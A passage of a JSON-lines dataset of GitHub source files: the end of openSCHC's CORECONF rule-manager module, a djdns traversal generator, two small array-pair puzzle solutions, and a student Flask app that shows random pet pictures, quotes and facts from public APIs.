self.sid_search_for(name=\"/ietf-schc:schc/rule/tile-in-all-1\", space=\"data\") - sid_ref\n if tile_in_all1_sid in rule:\n tile_in = self.sid_search_sid(rule[max_ack_req_sid], short=True)\n if tile_in == \"all-1-data-no\":\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_LAST_TILE_IN_ALL1] = False\n if tile_in == \"all-1-data-yes\":\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_LAST_TILE_IN_ALL1] = True\n if tile_in == \"all-1-data-sender-choice\":\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_LAST_TILE_IN_ALL1] = None\n else:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_LAST_TILE_IN_ALL1] = False\n\n ack_behavior_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/tile-in-all-1\", space=\"data\") - sid_ref\n if ack_behavior_sid in rule:\n ack_behavior = self.sid_search_sid(rule[max_ack_req_sid], short=True)\n\n if ack_behavior == \"ack-behavior-after-all-0\":\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_ACK_BEHAVIOR] = T_FRAG_AFTER_ALL0\n print (\"Warning not implemented\")\n elif ack_behavior == \"ack-behavior-after-all-1\":\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_ACK_BEHAVIOR] = T_FRAG_AFTER_ALL1\n elif ack_behavior == \"ack-behavior-by-layer2\":\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_ACK_BEHAVIOR] = T_FRAG_AFTER_ANY\n print (\"Warning not implemented\")\n else:\n raise ValueError (\"Unknwon Ack Behavior\")\n else:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_ACK_BEHAVIOR] = T_FRAG_AFTER_ALL1 # openSCHC default value\n \n else:\n raise ValueError(\"unkwown fragmentation mode\", frag_mod_id)\n\n elif nature == \"nature-no-compression\":\n arule [T_NO_COMP] = []\n else:\n raise ValueError (\"Unknown rule nature SID\", nature)\n\n SoR.append(arule) # add to the set of rules\n\n\n #pprint.pprint(SoR)\n \n self.Add(device=device, dev_info=SoR)\n\n\n def to_coreconf (self, deviceID=\"None\"):\n \"\"\"\n Dump the rules in CORECONF format the rules inside the rule manager for a specific device.\n \"\"\"\n import binascii\n\n def dictify_cbor (val, ref_id):\n cbor_data = b''\n if type(val) != list:\n val = [val]\n\n tv_array = b''\n for i in range(len(val)):\n\n if type(val[i]) == int:\n x = val[i]\n r = b''\n while x != 0:\n r = struct.pack('!B', x&0xFF) + r\n x >>= 8\n elif type(val[i]) == bytes:\n r = val[i]\n\n tv_array += b'\\xA2' + \\\n cbor.dumps(self.sid_search_for(name=ref_id+\"/index\", space=\"data\") - self.sid_search_for(name=ref_id, space=\"data\")) + \\\n cbor.dumps(i)\n\n tv_array += \\\n cbor.dumps(self.sid_search_for(name=ref_id+\"/value\", space=\"data\") - self.sid_search_for(name=ref_id, space=\"data\")) + \\\n cbor.dumps(r)\n\n\n tv_array = self.cbor_header(0b100_00000, len(val)) + tv_array\n return tv_array\n \n module_sid = self.sid_search_for(name=\"/ietf-schc:schc\", space=\"data\")\n rule_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule\", space=\"data\")\n\n\n for dev in self._ctxt:\n #print (\"*\"*40)\n #print (\"Device:\", dev[\"DeviceID\"])\n\n rule_count = 0\n full_rules = b''\n for rule in dev[\"SoR\"]:\n rule_count += 1\n if T_COMP in rule:\n entry_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry\", space=\"data\")\n \n nb_entry = 0\n rule_content = b''\n for e in rule[T_COMP]:\n nb_elm = 0\n nb_entry += 1\n\n entry_cbor = \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/field-id\", space=\"data\") - entry_sid) + \\\n cbor.dumps(self.sid_search_for(name=YANG_ID[e[T_FID]][1], space=\"identity\")) \n nb_elm += 1\n\n l=e[T_FL]\n if type(l) == int:\n entry_cbor += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/field-length\", space=\"data\") - entry_sid) + \\\n cbor.dumps(l)\n elif type(l) == str:\n entry_cbor += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/field-length\", space=\"data\") - entry_sid) + \\\n struct.pack(\"!BB\", 0xD8, 45) + \\\n cbor.dumps(self.sid_search_for(name=YANG_ID[l][1], space=\"identity\")) \n\n #raise ValueError(\"Field ID not defined\")\n else:\n raise ValueError(\"unknown field length value\")\n nb_elm += 1\n\n entry_cbor += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/field-position\", space=\"data\") - entry_sid) + \\\n struct.pack('!B', e[T_FP])\n nb_elm += 1\n \n entry_cbor += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/direction-indicator\", space=\"data\") - entry_sid) + \\\n cbor.dumps(self.sid_search_for(name=YANG_ID[e[T_DI]][1], space=\"identity\")) \n nb_elm += 1\n\n entry_cbor += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/matching-operator\", space=\"data\") - entry_sid) + \\\n cbor.dumps(self.sid_search_for(name=YANG_ID[e[T_MO]][1], space=\"identity\")) \n nb_elm += 1\n\n if T_MO_VAL in e:\n mo_val_cbor = dictify_cbor(e[T_MO_VAL], \"/ietf-schc:schc/rule/entry/matching-operator-value\")\n entry_cbor += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/matching-operator-value\", space=\"data\") - entry_sid) + \\\n mo_val_cbor\n nb_elm += 1\n\n entry_cbor += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/comp-decomp-action\", space=\"data\") - entry_sid) + \\\n cbor.dumps(self.sid_search_for(name=YANG_ID[e[T_CDA]][1], space=\"identity\")) \n nb_elm += 1\n\n if T_TV in e and e[T_TV] != None:\n tv_cbor = dictify_cbor(e[T_TV], \"/ietf-schc:schc/rule/entry/target-value\")\n\n entry_cbor += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/target-value\", space=\"data\") - entry_sid) + \\\n tv_cbor\n nb_elm += 1\n \n entry_cbor = self.cbor_header (0b101_00000, nb_elm) + entry_cbor # header MAP and size\n rule_content += entry_cbor\n\n rule_content = b'\\xA4' + \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/entry\", space=\"data\") - rule_sid) + \\\n self.cbor_header(0b100_00000, nb_entry) + rule_content + \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-id-value\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_RULEID]) +\\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-id-length\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_RULEIDLENGTH]) +\\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-nature\", space=\"data\") - rule_sid) +\\\n cbor.dumps(self.sid_search_for(name= \"nature-compression\", space=\"identity\")) \n elif T_FRAG in rule:\n nb_elm = 3\n rule_content = \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-id-value\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_RULEID]) +\\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-id-length\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_RULEIDLENGTH]) +\\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-nature\", space=\"data\") - rule_sid) +\\\n cbor.dumps(self.sid_search_for(name= \"nature-fragmentation\", space=\"identity\")) \n\n rule_content += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/direction\", space=\"data\") - rule_sid) +\\\n cbor.dumps(self.sid_search_for(name=YANG_ID[rule[T_FRAG][T_FRAG_DIRECTION]][1], space=\"identity\")) \n nb_elm += 1\n \n rule_content += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rcs-algorithm\", space=\"data\") - rule_sid) +\\\n cbor.dumps(self.sid_search_for(name=YANG_ID[rule[T_FRAG][T_FRAG_PROF][T_FRAG_MIC]][1], space=\"identity\")) \n nb_elm += 1\n\n rule_content += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/dtag-size\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_FRAG][T_FRAG_PROF][T_FRAG_DTAG_SIZE])\n nb_elm += 1\n\n if rule[T_FRAG][T_FRAG_MODE] in [T_FRAG_ACK_ALWAYS, T_FRAG_ACK_ON_ERROR]:\n rule_content += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/w-size\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_FRAG][T_FRAG_PROF][T_FRAG_W_SIZE])\n nb_elm += 1\n\n rule_content += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/fcn-size\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_FRAG][T_FRAG_PROF][T_FRAG_FCN])\n nb_elm += 1\n\n rule_content += \\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/fragmentation-mode\", space=\"data\") - rule_sid) +\\\n cbor.dumps(self.sid_search_for(name= YANG_ID[rule[T_FRAG][T_FRAG_MODE]][1], space=\"identity\")) \n nb_elm += 1\n \n rule_content = self.cbor_header(0b101_00000, nb_elm) + rule_content\n elif T_NO_COMP in rule:\n rule_content = rule_content = self.cbor_header(0b101_00000, 3) +\\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-id-value\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_RULEID]) +\\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-id-length\", space=\"data\") - rule_sid) +\\\n cbor.dumps(rule[T_RULEIDLENGTH]) +\\\n cbor.dumps(self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-nature\", space=\"data\") - rule_sid) +\\\n cbor.dumps(self.sid_search_for(name= \"nature-no-compression\", space=\"identity\")) \n else:\n raise ValueError(\"unkwon rule\")\n\n full_rules += rule_content \n \n coreconf = b'\\xA1' + cbor.dumps(module_sid) + b'\\xA1' + cbor.dumps(rule_sid - module_sid) \n\n array_header = self.cbor_header(0b100_00000, rule_count) # array\n\n coreconf += array_header+full_rules\n return coreconf\n # end of CORECONF\n\n def convert_to_json(self, jcc, delta=0, name_ref=\"\"):\n if type(jcc) is dict:\n json_dict = {}\n for k, v in jcc.items():\n sid_description = self.sid_search_sid(k+delta)\n value = self.convert_to_json(v, k+delta, sid_description)\n key = sid_description.replace(name_ref+'/', '')\n\n json_dict[key] = value\n return json_dict\n elif type(jcc) is list:\n json_list = []\n for e in jcc:\n value = self.convert_to_json(e, delta, name_ref )\n json_list.append(value)\n return json_list\n elif type(jcc) is int:\n node_type = self.get_yang_type(name_ref)\n\n if node_type in [\"int\", \"union\"]: #/!\\ to be improved, suppose that union contains an int\n return jcc\n elif node_type == \"identifier\":\n sid_ref = self.sid_search_sid(jcc)\n return sid_ref\n else:\n raise ValueError(name_ref, node_type, \"not a leaf\")\n\n elif type(jcc) is bytes:\n return base64.b64encode(jcc).decode()\n elif type(jcc) is cbor.CBORTag: # TAG == 45, an identifier not an int.\n if jcc.tag == 45:\n sid_ref = self.sid_search_sid(jcc.value)\n return sid_ref\n else:\n raise ValueError(\"CBOR Tag unknown:\", jcc.tag)\n else:\n raise ValueError (\"Unknown type\", type(jcc)) \n\n def get_cc (self, sor, sid=None, keys = [], delta=0, ident=1, value=None):\n #print (\"-\"*ident, sid, keys)\n\n if sid == delta:\n if value == None:\n return sor\n else:\n sor = value\n return True\n\n if type(sor) is dict:\n result = None\n\n if len(keys) == 0 and sid-delta in sor:\n if value == None:\n return {sid: sor[sid-delta]}\n else: # change the value\n sor[sid-delta] = value\n return True\n\n if len(keys) == 0 and value: # element is not in the object \n #print (\"add the element\")\n sor[sid-delta] = value\n return True\n\n for s, v in sor.items():\n #print ('.'*ident, s, v)\n\n # if s+delta == sid:\n # return {s: v}\n\n if s+delta in self.sid_key_mapping: # A list we have keys, look for specific entry\n # Raise an err if the number of SID keys are not the same as the number of keys in self.sid_key_mapping\n if len(self.sid_key_mapping[s+delta]) != len(keys):\n raise ValueError (\"Not enough keys values to locate the SID\")\n\n key_search = {}\n for k in self.sid_key_mapping[s+delta]:\n key_search[k-(s+delta)] = keys.pop(0)\n\n #print (\"!\"*ident, key_search)\n\n found_st = None\n found_index = 0\n for l in sor[s]:\n #print (\"+\"*ident, l)\n if key_search.items() <= l.items(): # searched items included in leaf\n found_st = l\n break\n found_index += 1\n if found_st:\n if sid == s+delta:\n if value == None:\n # keys must be adapted to take into account of the delta coding\n st_delta_adjusted = {}\n # Adjust the keys by developing the complete SID ( completeSID = s + k + delta )\n for k, v in found_st.items():\n st_delta_adjusted[s+k+delta] = v\n return st_delta_adjusted\n else:\n sor[s][found_index] = value\n return True\n return self.get_cc(found_st, delta=s+delta, ident=ident+1, sid=sid, keys=keys, value=value)\n else:\n if value != None:\n print (\"add it\", key_search)\n new_struct = key_search.copy()\n for new_key, new_value in value.items():\n if new_key in new_struct:\n print (\"key leaf \", new_key+delta, \"already set to key value\")\n else: \n new_struct[new_key] = new_value\n\n sor[s].append(new_struct)\n return True\n \n else: # A set of container, take all elements\n if result == None:\n result = self.get_cc (v, sid, keys, delta+s, ident+1, value)\n\n if result != None:\n return result\n \n def manipulate_coreconf(self, sid, device=None, keys=None, value=None, validate=None):\n cconf = self.to_coreconf(device)\n\n if type(sid) is str:\n sid = self.sid_search_for (sid, space='data')\n\n keys_sid = []\n if keys:\n for e in keys:\n if type(e) is str: # if string is YANG ID then change to SID value\n k_sid = self.sid_search_for(e, space=\"identity\")\n if k_sid != None:\n e = k_sid\n keys_sid.append(e)\n\n if type(value) is str:\n value_sid = self.sid_search_for(value, space=\"identity\")\n if value_sid:\n value = value_sid\n\n json_cconf = cbor.loads(cconf)\n result = self.get_cc(sor=json_cconf, sid=sid, keys=keys_sid, value=value)\n\n if value != None and result == True:\n if validate:\n inst = validate.from_raw(self.convert_to_json(json_cconf))\n inst.validate() # if wrong raise an error\n\n # remove current rule\n for i in range(len(self._ctxt)):\n dev = self._ctxt[i]\n #print (\"Device:\", dev[\"DeviceID\"])\n if dev['DeviceID'] == device:\n self._ctxt.pop(i)\n break\n # add the modified one\n self.from_coreconf(device=device, dev_info=json_cconf)\n return result\n","repo_name":"openschc/openschc","sub_path":"src/gen_rulemanager.py","file_name":"gen_rulemanager.py","file_ext":"py","file_size_in_byte":76849,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"53"}
+{"seq_id":"74254353447","text":"import re\nfrom djdns.resolver import Resolver\n\ndef traverse(data, loader, query):\n '''\n data - page to start with\n loader - callback(uri) -> page data\n query - query text to scan for\n\n Generator that outputs branch dicts. You can filter recursion\n by having your loader function return None.\n '''\n for branch in data['branches']:\n selector = branch['selector']\n if re.search(selector, query):\n # Branch matches regex\n yield branch\n for b in _from_targets(branch, loader, query):\n yield b\n\ndef _from_targets(branch, loader, query):\n '''\n Generator that returns branches from a source branch's target.\n '''\n for target_uri in branch['targets']:\n target = loader(target_uri)\n\n if target == None:\n continue\n elif isinstance(target, Resolver):\n # Opaque resolver, such as dns:// URI.\n yield target\n else:\n # Registry page.\n for b in traverse(target, loader, query):\n yield b\n","repo_name":"campadrenalin/python-djdns","sub_path":"djdns/traversal.py","file_name":"traversal.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"53"}
+{"seq_id":"4007114091","text":"#find all pairs of integers where sum is equal to the given number\ndef twosum(nums,t):\n for i in range(len(nums)):\n for j in range(i+1,len(nums)):\n if(nums[i]==nums[j]):\n continue\n elif(nums[i]+nums[j]==t):\n print(nums[i],nums[j])\n print(i, j)\nmylist= list(map(int,input().split(\" \")))\ntarget=int(input(\"enter the target value: \"))\ntwosum(mylist,target)","repo_name":"anirbang324/Python_problem_solving_and_DSA","sub_path":"list/two sum(leetcode).py","file_name":"two sum(leetcode).py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"37023665746","text":"\"\"\"\nk-diff-pairs-in-an-array\n\"\"\"\nclass Solution:\n def findPairs(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n return self.s_1(k, nums)\n\n def s_1(self, k, nums):\n \"\"\"\n 双指针\n :param k:\n :param nums:\n :return:\n \"\"\"\n if len(nums) < 2:\n return 0\n ans = set()\n nums.sort()\n i, j = 0, 1\n while j < len(nums):\n if nums[j] - nums[i] == k:\n ans.add((nums[i], nums[j]))\n i, j = i + 1, i + 2\n elif nums[j] - nums[i] > k:\n i, j = i + 1, i + 2\n else:\n j += 1\n return len(ans)\n\n\nif __name__ == \"__main__\":\n test = Solution()\n a = test.findPairs([1, 3, 1, 5, 4], 0)\n print(a)","repo_name":"sdlbp/LeetCode","sub_path":"leetcode-algorithms/532. K-diff Pairs in an Array/k-diff-pairs-in-an-array.py","file_name":"k-diff-pairs-in-an-array.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"5918996623","text":"# Team ruffLife: Xiaojie(Aaron) Li, Michelle Tang, Bo Hui Lu, Kaitlin Wan\n# SoftDev1 pd6\n# P#01 -- arRESTed Development\n# 2018-11-30\n\nimport os\nimport json\nimport urllib\n\n\nfrom util import userMethods\n\nfrom flask import Flask, request, render_template, session, url_for, redirect, flash\n\n# instantiate flask app\napp = Flask(__name__)\n\n# generate random key\napp.secret_key = os.urandom(32)\nusername = flashMessage = \"\"\nliked_cats = liked_dogs = liked_quotes = liked_facts = \"\"\nimages = texts = []\n\n# root route\n@app.route(\"/\")\ndef home():\n \"\"\"\n If user is logged in, redirect them to their feed.\n If not logged in, prompt login page\n \"\"\"\n if \"user\" in session:\n return redirect(\"/feed\")\n return render_template(\"index.html\")\n\n # authentication route\n@app.route(\"/authenticate\", methods = [\"POST\", \"GET\"])\ndef authenticate():\n \"\"\"\n If a user enters authenticate route manually(without logging in), redirect them back to the right road.\n If a user enters authenticate route after submitting a form:\n * if the username and password is found in the in the database, redirect to their feed\n * if username and/or the password is not found, flash an appropriate message and redirect to login\n \"\"\"\n\n loginStatus = ''\n global username\n\n # if user got here manually, redirect to root\n if request.method == \"GET\" or \"user\" not in request.form.keys():\n return redirect('/')\n\n # check login creation or login\n if \"pass2\" in request.form.keys():\n print(\"\\n\\nCREATING ACCOUNT\\n\")\n loginStatus = userMethods.createAccount(request.form[\"user\"], request.form[\"pass1\"], request.form[\"pass2\"])\n else:\n print(\"\\n\\nCHECKING INFO\\n\")\n loginStatus = userMethods.checkInfo(request.form[\"user\"], request.form[\"pass\"])\n\n # if user successfull logs in, redirects to their feed\n if loginStatus == \"Account creation successful\":\n session[\"user\"] = request.form[\"user\"]\n username = request.form[\"user\"]\n session.pop('_flashes', None)\n flash(loginStatus)\n return render_template(\"index.html\")\n elif loginStatus == \"Login Successful\":\n session[\"user\"] = request.form[\"user\"]\n username = request.form[\"user\"]\n session.pop('_flashes', None)\n flash(loginStatus)\n return redirect(\"/feed\")\n else:\n flash(loginStatus)\n return redirect(\"/\")\n# for logged in users: their complete page\n@app.route(\"/feed\", methods=[\"GET\"])\ndef feed():\n global username\n global liked_cats\n global liked_dogs\n global liked_quotes\n global liked_facts\n global dict\n global data\n global memes\n global facts\n global cat\n global images\n global texts\n\n # if user not logged in redirect them\n if not(\"user\" in session):\n session.pop('_flashes', None)\n flash(\"You are not logged in.\")\n return redirect(\"/\")\n\n url = \"https://random.dog/woof.json\"\n status = True;\n while(status):\n straw = urllib.request.urlopen(url)\n straw = straw.read()\n dict = json.loads(straw)\n print(dict[\"url\"][-3:])\n if(dict[\"url\"][-3:] != \"mp4\"):\n status = False\n\n url = \"https://aws.random.cat/meow\"\n straw = urllib.request.urlopen(url)\n straw = straw.read()\n cat = json.loads(straw)\n\n url = \"https://catfact.ninja/fact\"\n straw = urllib.request.urlopen(url)\n straw = straw.read()\n cat_fact = json.loads(straw)\n\n url = \"https://dog-api.kinduff.com/api/facts?number=1\"\n straw = urllib.request.urlopen(url)\n straw = straw.read()\n dog_fact = json.loads(straw)\n\n url = urllib.request.urlopen(\"https://favqs.com/api/qotd\")\n data = json.loads(url.read().decode())\n data = data[\"quote\"]\n\n fn = open(\"./api/meme.txt\", \"r\")\n mykeyn = fn.readline().strip()\n url = \"http://api.giphy.com/v1/gifs/random?api_key=\" + mykeyn + \"&tag=meme&rating=pg\"\n #print(\"HIII\")\n straw = urllib.request.urlopen(url)\n straw = straw.read()\n memes = json.loads(straw)\n\n\n url = \"http://randomuselessfact.appspot.com/random.json?language=en\"\n straw = urllib.request.urlopen(url)\n straw = straw.read()\n facts = json.loads(straw)\n # print(facts[\"text\"])\n urls = userMethods.likedImages(username)\n # print(urls)\n\n liked_cats = cat[\"file\"]\n # print(\"\\n\\nPRINTING LIKED_CATS\\n\")\n # print(liked_cats)\n liked_dogs = dict[\"url\"]\n liked_quotes = data[\"body\"]\n liked_facts = facts[\"text\"]\n\n texts = userMethods.likedWords(username)\n texts = texts.split(\"|\")\n texts = texts[1:]\n images = userMethods.likedImages(username)\n images = images.split(\",\")\n images = images[1:]\n\n print(\"\\n-------------------\\n\" + username + \"\\n----------------------\\n\")\n print(\"\\nmeme url: \" + memes['data']['url'] + \"\\n\")\n print(\"\\ncat fact: \" + cat_fact['fact'] + \"\\n\")\n print(\"\\ndog fact: \")\n print(dog_fact['facts'])\n print(\"\\nquote: \" + data[\"body\"] + \"\\n\")\n print(\"----------------\\ntexts: \")\n print(texts)\n print(\"----------------\\nimages: \")\n print(images)\n return render_template(\"feed.html\",\n dog_link = dict['url'],\n cat_link = cat[\"file\"],\n quote = data[\"body\"],\n author = data[\"author\"],\n user = username,\n link = memes['data']['url'],\n em = memes['data']['embed_url'],\n fact = facts[\"text\"],\n catFact = cat_fact['fact'],\n dogFact = dog_fact['facts'][0],\n img_urls = images,\n text_texts = texts)\n\n# reload route will refresh page and go to appropriate section\n@app.route(\"/reload\", methods=[\"GET\", \"POST\"])\ndef reload():\n # check if logged in\n if not (\"user\" in session):\n session.pop('_flashes', None)\n flash(\"You are not logged in.\")\n return redirect(\"/\")\n if request.method == \"POST\":\n return redirect(\"/feed#doge\")\n else:\n return redirect(\"/feed#cat\")\n\n# reload route for facts and quotes, will refresh and go to\n# appropriate section\n@app.route(\"/reload2\", methods=[\"GET\", \"POST\"])\ndef reload2():\n # check if logged in\n if not (\"user\" in session):\n session.pop('_flashes', None)\n flash(\"You are not logged in.\")\n return redirect(\"/\")\n if request.method == \"POST\":\n return redirect(\"/feed#fact\")\n else:\n return redirect(\"/feed#quotes\")\n\n# reload route for memes, will go to appropriate section\n@app.route(\"/reloadMeme\")\ndef reload3():\n # check if logged in\n if not (\"user\" in session):\n session.pop('_flashes', None)\n flash(\"You are not logged in.\")\n return redirect(\"/\")\n return redirect(\"/feed#meme\")\n\n# logout route\n@app.route(\"/logout\")\ndef logout():\n # pop user from session and redirect to login page(root)\n if \"user\" in session:\n session.pop(\"user\")\n session.pop('_flashes', None)\n flash(\"You have been logged out successfully!\")\n return redirect(\"/\")\n\n@app.route(\"/signup\")\ndef signup():\n # otherwise, load the feed\n return render_template(\"signup.html\")\n\n@app.route(\"/home\")\ndef homeee():\n # otherwise, load the feed\n return redirect(\"/\")\n\n# @app.route(\"/feed\")\n# def logginnn():\n# # otherwise, load the feed\n# return render_template(\"feed.html\")\n\n@app.route(\"/quote\")\ndef quote():\n global flashMessage\n global username\n global liked\n global liked_a\n # otherwise, load the feed\n url = 'https://favqs.com/api/qotd'\n s = urllib.request.urlopen(url)\n s = s.read()\n d = json.loads(s)\n session.pop('_flashes', None)\n flashMessage = \"TO LIKE QUOTE, PLEASE LOG IN!!\"\n #flash(flashMessage)\n liked = d['quote']['body']\n liked_a = d['quote'][\"author\"]\n return render_template(\"quote.html\", link = d['quote']['body'], auth = d['quote'][\"author\"] )\n\n@app.route(\"/add_quote\")\ndef add_quote():\n global username\n global liked_cats\n global liked_dogs\n global liked_quotes\n global liked_facts\n global dict\n global data\n global memes\n global facts\n global cat\n global images\n global texts\n\n # print(\"dkfjhasldkfjdslk\")\n # print (liked_cats)\n print(username)\n userMethods.addWord(username, liked_quotes)\n texts = userMethods.likedWords(username)\n texts = texts.split(\"|\")\n texts = texts[1:]\n # print(\"\\n\\n\\nPRINTING TEXT============\\n\")\n # print(texts)\n session.pop('_flashes', None)\n flash(\"Text liked. Go to liked text to see it!\")\n return redirect(\"/feed\")\n\n@app.route(\"/catpic\")\ndef catpic():\n global flashMessage\n global username\n global liked\n url = \"https://aws.random.cat/meow\"\n s = urllib.request.urlopen(url)\n s = s.read()\n d = json.loads(s)\n session.pop('_flashes', None)\n # print(\"USERNAME\")\n # print (username)\n liked = d['file']\n flashMessage = \"TO LIKE PHOTO, PLEASE LOG IN!!\"\n #flash(flashMessage)\n # otherwise, load the feed\n return render_template(\"catpic.html\", link = d['file'])\n\n@app.route(\"/add_cat\")\ndef add_cat():\n global username\n global liked_cats\n global liked_dogs\n global liked_quotes\n global liked_facts\n global dict\n global data\n global memes\n global facts\n global cat\n global images\n global texts\n\n # print(\"dkfjhasldkfjdslk\")\n # print (liked_cats)\n # print(username)\n userMethods.addImage(username, liked_cats)\n images = userMethods.likedImages(username)\n images = images.split(\",\")\n images = images[1:]\n # print(\"\\n\\n\\nPRINTING IMAGES============\\n\")\n # print(images)\n session.pop('_flashes', None)\n flash(\"Image liked. Go to liked pictures to see it!\")\n return redirect(\"/feed\")\n\n@app.route(\"/dogpic\")\ndef dogpic():\n global username\n global liked\n url = \"https://random.dog/woof.json\"\n status = True\n while(status):\n straw = urllib.request.urlopen(url)\n straw = straw.read()\n dict = json.loads(straw)\n print(dict[\"url\"][-3:])\n if(dict[\"url\"][-3:] != \"mp4\"):\n status = False\n session.pop('_flashes', None)\n # liked = d['url']\n\n flashMessage = \"TO LIKE PHOTO, PLEASE LOG IN!!\"\n #flash(flashMessage)\n # otherwise, load the feed\n return render_template(\"dogpic.html\", link = dict['url'])\n\n@app.route(\"/add_dog\")\ndef add_dog():\n global username\n global liked_cats\n global liked_dogs\n global liked_quotes\n global liked_facts\n global dict\n global data\n global memes\n global facts\n global cat\n global images\n global texts\n\n # print(\"dkfjhasldkfjdslk\")\n # print (liked_cats)\n # print(username)\n userMethods.addImage(username, liked_dogs)\n images = userMethods.likedImages(username)\n images = images.split(\",\")\n images = images[1:]\n # print(\"\\n\\n\\nPRINTING IMAGES============\\n\")\n # print(images)\n session.pop('_flashes', None)\n flash(\"Image liked. Go to liked pictures to see it!\")\n return redirect(\"/feed\")\n\n@app.route(\"/fact\")\ndef fact():\n global username\n global liked\n url = \"http://randomuselessfact.appspot.com/random.json?language=en\"\n s = urllib.request.urlopen(url)\n s = s.read()\n d = json.loads(s)\n session.pop('_flashes', None)\n flashMessage = \"TO LIKE FACT, PLEASE LOG IN!!\"\n #flash(flashMessage)\n liked = d['text']\n # print(\"dfadsfds\")\n # print (liked)\n # # otherwise, load the feed\n return render_template(\"fact.html\", link = d['text'])\n\n@app.route(\"/add_fact\")\ndef add_fact():\n global username\n global liked_cats\n global liked_dogs\n global liked_quotes\n global liked_facts\n global dict\n global data\n global memes\n global facts\n global cat\n global images\n global texts\n\n # print(\"dkfjhasldkfjdslk\")\n # print (liked_cats)\n print(username)\n userMethods.addWord(username, liked_facts)\n texts = userMethods.likedWords(username)\n texts = texts.split(\"|\")\n texts = texts[1:]\n # print(\"\\n\\n\\nPRINTING TEXT============\\n\")\n # print(texts)\n session.pop('_flashes', None)\n flash(\"Text liked. Go to liked text to see it!\")\n return redirect(\"/feed\")\n\n@app.route(\"/meme\")\ndef meme():\n global flashMessage\n f = open(\"./api/meme.txt\", \"r\")\n mykey = f.readline().strip()\n url = \"http://api.giphy.com/v1/gifs/random?api_key=\" + mykey + \"&tag=meme&rating=pg\"\n print(url)\n s = urllib.request.urlopen(url)\n s = s.read()\n d = json.loads(s)\n print(d['data']['url'])\n session.pop('_flashes', None)\n flashMessage = \"TO LIKE GIF, PLEASE LOG IN!!\"\n #flash(flashMessage)\n # otherwise, load the feed\n return render_template(\"meme.html\",link = d['data']['url'], em = d['data']['embed_url'])\n\n\n\n# run flask app with debug set to true\nif __name__ == \"__main__\":\n app.run(debug = True)\n","repo_name":"tangym27/ruffLife","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
